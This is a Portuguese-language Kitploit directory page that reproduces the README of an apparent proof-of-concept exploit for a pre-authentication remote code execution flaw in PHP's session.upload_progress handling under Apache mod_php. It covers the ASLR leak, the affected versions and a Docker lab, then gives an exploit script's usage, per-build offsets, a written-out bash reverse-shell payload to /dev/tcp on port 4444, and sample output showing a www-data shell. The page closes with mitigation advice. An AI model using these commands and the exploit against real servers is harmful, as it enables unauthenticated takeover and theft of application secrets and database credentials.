Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-109619 — Prova de conceito de exploit para RCE pré-autenticação via session.upload_progress do PHP (PHP2Shell), com vazamento de heap/ASLR, perfis de offsets por build e um handler de reverse shell tudo-em-um. | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-109619
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

Prova de conceito de exploit para RCE pré-autenticação via session.upload_progress do PHP (PHP2Shell), com vazamento de heap/ASLR, perfis de offsets por build e um handler de reverse shell tudo-em-um.

7há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


Visão geral

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) é uma falha de Remote Code Execution não autenticada no PHP sob Apache mod_php. Uma requisição multipart/form-data especialmente construída dispara um bailout de falta de memória no handler session.upload_progress de pré-requisição, deixando ponteiros obsoletos que vazam as bases do heap Zend e de libphp.so via Set-Cookie (derrotando o ASLR); uma HashTable forjada então redireciona um destrutor para zif_system, executando comandos como o worker web (www-data). Nenhuma autenticação é necessária e as configurações de sessão vulneráveis estão ativas por padrão.


Versões afetadas

CategoriaVersão
VulnerávelPHP 8.2.x / 8.3.x / 8.4.x / 8.5.x antes do patch
CorrigidaPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 ou posterior (2026-10-21)
Verificado emphp:8.4.26-apache oficial (Debian 13, amd64)

Os offsets são por build (versão · arquitetura · distro). Este PoC inclui um perfil para 8.4.26-apache amd64; outras builds precisam de seu próprio profiles/*.json.


Impacto

  • Remote Code Execution como a conta do worker web (www-data)
  • Leitura/escrita completa do document root, configuração da aplicação, credenciais de banco de dados e segredos acessíveis por essa conta
  • Divulgação de memória (ponteiros do heap / libphp, e potencialmente tokens e chaves de sessão) mesmo antes do RCE

Ambiente

Vítima = php:8.4.26-apache oficial com a configuração abaixo. O atacante executa a partir de um container separado (eqst-kali) na mesma bridge do Docker; a reverse shell faz callback para o IP dele.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
Pré-condiçãoEstado neste laboratório
PHP 8.2–8.5 (pré-patch) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledAtivado (padrão)
session.use_strict_mode0 (padrão)
display_errorsAtivado (entrega o vazamento da fase 1)
memory_limit128M (padrão — mantido inalterado)
post_max_size / upload_max_filesize > memory_limit (permite que o corpo de uma requisição atinja o OOM)256M (aplicações com suporte a upload costumam elevar esses valores)
Processo worker único do Apache (o estado obsoleto é por processo)1

Nota do host (WSL2): no Windows Docker Desktop (WSL2), o kernel mapeia libphp em 0x7c..., abaixo da verificação ASLR 0x7F... do exploit original, então ele descarta o vazamento válido. O p2s_shell.py amplia automaticamente esse intervalo. Em um host Linux nativo, o patch é inócuo.


PoC

O p2s_shell.py é um único processo que abre seu próprio listener, busca o exploit original, seleciona os offsets de profiles/*.json de acordo com a versão do PHP do alvo, dispara a cadeia e captura um reverse shell atualizado para PTY (sem nc separado).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

Pré-requisito único: preparar o payload de reverse shell na raiz web da vítima (o veículo do comando tem 14 bytes, portanto payloads longos vão num ficheiro executado via bash</w/c, conforme o upstream):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

Execute o PoC de dentro do atacante (os caminhos são relativos ao script):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

Ele faz fingerprint de X-Powered-By: PHP/8.4.26, carrega o perfil correspondente e abre o shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opções:

  • --run 'c1;c2' — modo em lote (não requer terminal interativo)
  • --no-pty — mantém um shell simples em vez do upgrade para PTY
  • --php-version / --arch — substitui a build de destino quando X-Powered-By está oculto
  • --lport — porta do reverse shell (deve corresponder à porta embutida em /w/c, padrão 4444)

Mitigação

  • Atualize o PHP para 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 ou superior (a única correção completa); reinicie os workers depois
  • Defina session.upload_progress.enabled = Off se o progresso de upload não for usado
  • Defina display_errors = Off em produção (bloqueia o vazamento do estágio 1 incluído)
  • Execute o PHP como um usuário sem privilégios com um document root somente leitura; limite a taxa de corpos multipart grandes na borda
  • Monitore requisições multipart com ~1000 campos, corpos muito grandes, OOM/500s repetidos, travamentos de processos filhos do Apache e linhas de log zend_mm_heap corrupted

Análise

  • KR:
  • EN:
Baixar ferramenta